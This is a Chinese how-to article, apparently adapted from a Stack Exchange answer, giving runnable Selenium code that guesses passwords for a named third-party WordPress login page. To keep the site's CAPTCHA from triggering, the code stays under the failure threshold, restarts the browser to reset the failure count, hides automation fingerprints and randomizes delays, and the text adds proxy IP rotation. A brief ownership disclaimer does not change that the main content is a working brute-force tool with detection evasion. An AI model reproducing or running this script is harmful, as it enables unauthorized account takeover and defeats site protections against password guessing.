Python Selenium如何绕过无效账号密码警告避免触发人机验证
注意:本方案仅适用于你拥有合法所有权/正式授权的站点的账号校验场景,未授权对第三方站点进行批量密码尝试属于网络攻击行为,需自行承担相应法律责任。
规避人机验证的核心逻辑
站点的登录失败计数一般基于三个维度判定:出口IP、会话Cookie、浏览器指纹,只要在计数达到触发阈值前重置对应维度的状态,就不会弹出人机验证。
- 单会话/单IP下的登录失败次数严格控制在4次以内,比7-8次的触发阈值留足冗余,不要卡上限尝试
- 每达到尝试上限,直接清空浏览器所有Cookie、站点存储,或者直接重启全新的浏览器实例,重置服务端的失败计数
- 移除Selenium默认的自动化特征标识,避免还没到失败次数就被识别为脚本
- 替换固定时长的等待逻辑,加入随机间隔,模拟真人操作的时间差
- 测试量级较大时,搭配代理轮换出口IP,避免单IP短时间请求过多被标记
原有代码的问题
原代码有几个硬伤,很容易触发拦截:
- 使用了新版Selenium已经废弃的
find_element_by_xpath接口,高版本环境直接运行报错 - 没有失败计数和会话重置逻辑,连续尝试必然累计到阈值触发验证
- 固定4.4秒的等待时长特征太明显,很容易被反爬规则识别为自动化脚本
- 没有明确的登录成功/失败判断逻辑,仅获取元素文本没有做结果校验
- 没有做Selenium指纹隐藏,默认启动的浏览器带明确的自动化标识
修正后的可运行代码
import random import time from selenium import webdriver from selenium.webdriver.chrome.options import Options from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.common.exceptions import TimeoutException, NoSuchElementException # 初始化全新浏览器实例,重置所有状态 def init_driver(): options = Options() options.add_experimental_option("excludeSwitches", ["enable-logging", "enable-automation"]) options.add_experimental_option('useAutomationExtension', False) options.add_argument("--disable-blink-features=AutomationControlled") driver = webdriver.Chrome(options=options) # 移除navigator.webdriver自动化标识 driver.execute_cdp_cmd("Page.addScriptToEvaluateOnNewDocument", { "source": "Object.defineProperty(navigator, 'webdriver', {get: () => undefined})" }) return driver # 单组账号密码校验 def check_credential(driver, username, password): wait = WebDriverWait(driver, 10) try: driver.get("https://fullhdfilmizle.pw/wp-login.php?redirect_to=https%3A%2F%2Ffullhdfilmizle.pw%2Fwp-admin%2F&reauth=1") # 随机等待0.5-2秒,模拟真人页面加载停顿 time.sleep(random.uniform(0.5, 2)) # 定位输入框填入账号密码 user_input = wait.until(EC.presence_of_element_located((By.XPATH, '//*[@id="emailField"]'))) user_input.clear() user_input.send_keys(username) pwd_input = driver.find_element(By.XPATH, '//*[@id="password"]') pwd_input.clear() pwd_input.send_keys(password) time.sleep(random.uniform(0.3, 1)) # 勾选记住登录、点击提交 driver.find_element(By.XPATH, '//*[@id="rester_connecte_1"]').click() driver.find_element(By.XPATH, '//*[@class="btn btn-secondary btn-block"]').click() # 等待页面跳转后判断结果 time.sleep(random.uniform(1, 2.5)) # 判定登录成功:出现后台专属按钮 try: admin_btn = driver.find_element(By.XPATH, '/html/body/div/div[3]/div/div/div/ul[2]/li[2]/form/button') if admin_btn.is_displayed(): print(f"[+] 凭证匹配成功 账号:{username} 密码:{password}") return True, 1 except NoSuchElementException: pass # 判定登录失败:出现无效凭证提示 error_tips = driver.find_elements(By.XPATH, '//*[contains(text(),"无效登录名或密码")]') if len(error_tips) > 0 and error_tips[0].is_displayed(): print(f"[-] 校验失败 账号:{username} 密码:{password}") return False, 1 # 其他异常情况不计入失败计数 return False, 0 except TimeoutException: print("[!] 页面加载超时,跳过本次校验") return False, 0 if __name__ == "__main__": # 待测试的密码列表 test_passwords = ["123456", "1234567", "password", "123123", "admin123", "12345678", "test123", "qwerty"] target_username = "myusername" # 单会话最大允许失败次数 max_fail_per_session = 4 current_driver = init_driver() current_session_fail = 0 for pwd in test_passwords: # 达到失败阈值,重置浏览器清空所有状态 if current_session_fail >= max_fail_per_session: current_driver.quit() # 大量级测试可在此处加入代理配置,轮换出口IP current_driver = init_driver() current_session_fail = 0 time.sleep(random.uniform(3,7)) success, fail_flag = check_credential(current_driver, target_username, pwd) current_session_fail += fail_flag if success: current_driver.quit() break current_driver.quit()
额外优化建议
- 如果测试密码总量超过20组,建议在重置浏览器时轮换出口IP,避免单IP累计请求过多被站点拦截
- 不要随意调高单会话的失败尝试次数,部分站点会把访问登录页的请求也计入异常计数,留足冗余更稳定
- 不要使用无头模式运行,无头模式的浏览器指纹特征更明显,更容易被识别为自动化工具
- 如果仍然偶发触发验证,可以把单会话最大失败次数降到3次,适当拉长每次请求的随机间隔。
内容的提问来源于stack exchange,提问作者user18088503
相关产品推荐
相关产品推荐

